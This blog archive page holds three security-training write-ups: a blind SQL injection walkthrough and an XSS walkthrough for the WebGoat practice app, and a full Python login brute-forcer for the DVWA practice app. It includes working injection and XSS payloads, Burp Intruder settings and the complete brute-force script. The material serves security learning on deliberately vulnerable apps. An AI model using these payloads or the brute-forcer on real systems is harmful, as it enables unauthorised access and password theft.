Category Archives: InfoSec

OWASP WebGoat SQL advanced lesson 5

Last week I wrote about the OWASP WebGoat XSS lessons. Today I’d like to write a few pointers on how to solve the SQL injection (advanced) lesson 5. The goal is simple: you are presented with a login box and given a username; log in as that user.

The usual username’ OR ‘1’=’1 — unfortunately doesn’t work (that would have been too easy!), and since the last slide talked about blind SQL injection, it was pretty obvious that this was the way to go. After a few unfruitful hours trying to use SLEEP and UNION on the register new user page I started looked online for a hint. What I found was to register a new user, and then register it again with either TRUE or FALSE:

Register new user: testuser
Again register the same user but like this: testuser’ AND ‘1’=’1
Which equates to “testuser and TRUE”. When registering this user, pay attention to the server reply:

User testuser’ and ‘1’=’1 already exists please try to register with a different username.

Now try registering: testuser’ AND ‘1’=’2
Which translates to “testuser and FALSE”. The server now replies:

User testuser’ and ‘1’=’2 created, please proceed to the login page.

At first I thought it literally created the user “testuser’ and ‘1’=’1” but no, it still creates only “testuser” but apparently the added 1=1 means “user already exists”, as opposed to 1=2 meaning user doesn’t exist, although it does (we already created user “testuser”).

Again, since the last slide talked about extracting the database version string with substring(database_version(),1,1)=’1 I tried tagging that on to the username instead of ‘1’=’1. Iterating through all 10 numbers for the database version, I got 2 as the only TRUE statement. Using this technique, I was able to find 2.3.4 as being the database version.

So what other kind of information can we extract using substring? I first tried ‘user’ and ‘username’, but got an error saying the string didn’t exist. ‘userid’ worked though, but I saw no need for that information. In a flash of inspiration I tried ‘password’, and lo and behold, the first letter that equated to TRUE was ‘t’:

tom’ AND substring(password,1,1)=’t

User tom’ AND substring(password,1,1)=’t already exists please try to register with a different username.

As we saw before, ‘1’=’1 equals TRUE and returns “user already exists”, so if the above command returns the same, it must equal TRUE as well. We now have the tool to extract Tom’s password!

At this point I got tired of going through all characters manually and fired up Burp and configured BURP Intruder for a sniper attack. There’s only 1 parameter to fuzz, the very last letter in the string. This is very easy to do with Intruder with the following settings:

Attack type: Sniper
Payload: Brute Forcer
Character set: abcdefghijklmnopqrstuvwxyz0123456789
Min length: 1
Max length: 1

To find a hit, sort the results by length. A successful hit is slightly longer than a miss.

Each time I got a hit I changed the start position of substring (2nd parameter) and ran intruder again. Within half an hour I had poor Tom’s password!

OWASP WebGoat XSS lessons

I recently installed WebGoat, a deliberately vulnerable web app with built-in lessons. While some of the lessons are very easy, they quickly rise to a much higher difficulty. Even though the app does explain the basic concepts, the explanations are nowhere good enough to solve the exercises provided.

In this post I’ll focus on the Cross-Site Scripting (XSS) lessons, which I was recently able to solve.

After having installed WebGoat, you may want to access it from another client. You can do this by launching it with the –server.address=x.x.x.x parameter. Also, if you don’t want to reconfigure Burp or ZAP, –server.port=8081 allows you to run WebGoat on a different port from the default 8080 which these proxies normally use.

The first 2 XSS lessons are pretty straight-forward and I won’t talk about them (however, see here). However, on lesson 10 I started having difficulties: I didn’t really understand what they were asking for (“what is the route for the test code that stayed in the app during production”)? Turns out you have to dig through the javascript source code and look for some kind of test code. The first time you answer incorrectly you’ll get a hint on where to look. The difficulty for me was in finding out exactly the answer they wanted. Looking in GoatRouter.js (as the hint suggests), you’ll find the following key/value pairs:

routes: {
‘welcome’: ‘welcomeRoute’,
‘lesson/:name’: ‘lessonRoute’,
‘lesson/:name/:pageNum’: ‘lessonPageRoute’,
‘test/:param’: ‘testRoute’,
‘reportCard’: ‘reportCard’

Try playing around with these routes; as the lesson suggests, the base route for the lesson is start.mvc#lesson/. What is the route for reportCard? Try accessing start.mvc#reportCard.
Now for the test code: Of the 5 routes we have in the above code, it’s obviously the ‘test/:param’:’testRoute’ part we are interested in. How does this translate as a base route? If the lesson base route is start.mvc#lesson/, it should follow the same premise. Forget about the :param and testRoute part, we won’t need that until later.

Lesson 11 is where things start to get really interesting. Having identified the base route for the test code, we are now asked to run the code. Try accessing the test code in the browser (base route + parameters as seen in GoatRouter.js).

Now that’s interesting. It seems as if what we wrote in the URL gets reflected in the page. Try writing something else after test/, like the classic <script>alert(1)</script>:

Remember to URL-encode the / in </script>, or it won’t work (as %2F).

So we now know that the parameters after the base route get reflected in the page. Since the reflected part never gets sent to the server, this is DOM-based XSS. However, in this mission we are not interested in getting a pop-up, but in running the phoneHome test code and getting its output from the browser console (Firefox: right-click -> Inspect Element -> Console). So how do we run the code? If <script>alert()… allow us to get a pop-up box, which tags allow us to run javascript code (stop reading here if you want to figure out the rest yourself)?

One possible way is:

start.mvc#test/<script>webgoat.customjs.phoneHome();<%2Fscript>

Run this, and look in the console.log:

‘phone home said {“lessonCompleted”:true,”feedback”:”Congratulations. You have successfully completed the assignment.”,”output”:”phoneHome Response is -1798806219″}’

The ‘Response’ is obviously the answer to the mission.

Lesson 13 is a continuation of what we learned in lesson 11. This time you are the evil hacker trying to steal everyone else’s session on a message board. Or rather, you want to insert a stored bit of XSS that other potential users will inadvertently execute. I had a lot of trouble with this mission, and even though I believe I’ve solved it the way they want me to, it still shows as unsolved in the stats.
After a lot of trial and error I tried inserting the base javascript webgoat.customjs.phoneHome() into a message using the <embed src=””> tag. There are other ways to execute it, like <script src=”javascript:webgoat.customjs.phoneHome();”></script>. They all pretty much do the same thing, execute the javascript and generate a new mission Response code.

As I said, even though I input the code in the mission and the page says “Yes, that is the correct value”, it still shows as unsolved in the mission stats. The lesson link however is green, as in a solved mission. A bug?

 

This YouTube video by Lim Jet Wee might be helpful for lesson 10. 

DVWA login brute-forcer in Python

I recently started playing around with the Damn Vulnerable Web Application, a PHP/MySQL web app for security researchers and students. It is, as the name implies, damn vulnerable.

After installation of DVWA you’ll be presented with a login page. Unless you supply the user and password from the manual you’ll have to get access some other way. Fruitlessly trying some SQL injection I decided to simply brute force the login, and used Burp Suite to get some more information. Turns out that all you need to login is the username, password, user token and a session id. The session id is provided in a cookie, the user token by the login page, and the username and password is of course what we need to find.

1
<input name="user_token" type="hidden" value="d3b0fabcd22dd8ad5f202f508777f8b8" />

While manually supplying a few user names and passwords I found out that the login page responds with a 302 Found HTTP response, either forwarding back to the login page in case of a failed login, or to index.php in case of a successful login (I already knew the default user name and password from the manual). Going back to the index.php resulted in a new user token being generated, but ignoring the forward meant I could continue supplying the same user token again and again.

I wrote the brute forcer in python using BeautifulSoup, requests and re, all python modules. The program is pretty simple: request the login page, find and extract the user token from within the login page, get the session id from the cookie, and return these plus a random username and password with a HTTP POST method.

Running this script with a supplied list of user names and passwords meant I was able to find the login in just a few seconds. The script is tailored to DVWA but could easily be customised for other vulnerable sites.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python

from bs4 import BeautifulSoup
import requests
import re

# url to attack
url = "http://192.168.56.101/dvwa/login.php"

# get users
user_file = "users.txt"
fd = open(user_file, "r")
users = fd.readlines()
fd.close()

# get passwords
password_file = "passwords.txt"
fd = open(password_file, "r")
passwords = fd.readlines()
fd.close()

# Changes to True when user/pass found
done = False

print("Attacking " + url + "\n")

# Get login page
try:
    r = requests.get(url, timeout=5)
except ConnectionRefusedError:
    print("Unable to reach server! Quitting!")

# Extract session_id (next 2 lines are from https://blog.g0tmi1k.com/dvwa/login/)
session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])
session_id = session_id.group(1)

print("Session_id: " + session_id)
cookie = {"PHPSESSID": session_id}

# prepare soup
soup = BeautifulSoup(r.text, "html.parser")

# get user_token value
user_token = soup.find("input", {"name":"user_token"})["value"]

print("User_token: " + user_token + "\n")

for user in users:
    user = user.rstrip()
    for password in passwords:
            if not done:
                password = password.rstrip()
                payload = {"username": user,
                    "password": password,
                    "Login": "Login",
                    "user_token": user_token}

                reply = requests.post(url, payload, cookies=cookie, allow_redirects=False)

                result = reply.headers["Location"]

                print("Trying: " + user + ", " + password, end="\r", flush=True)

                if "index.php" in result:
                    print("Success! \nUser: " + user + " \nPassword: " + password)
                    done = True
            else:
                break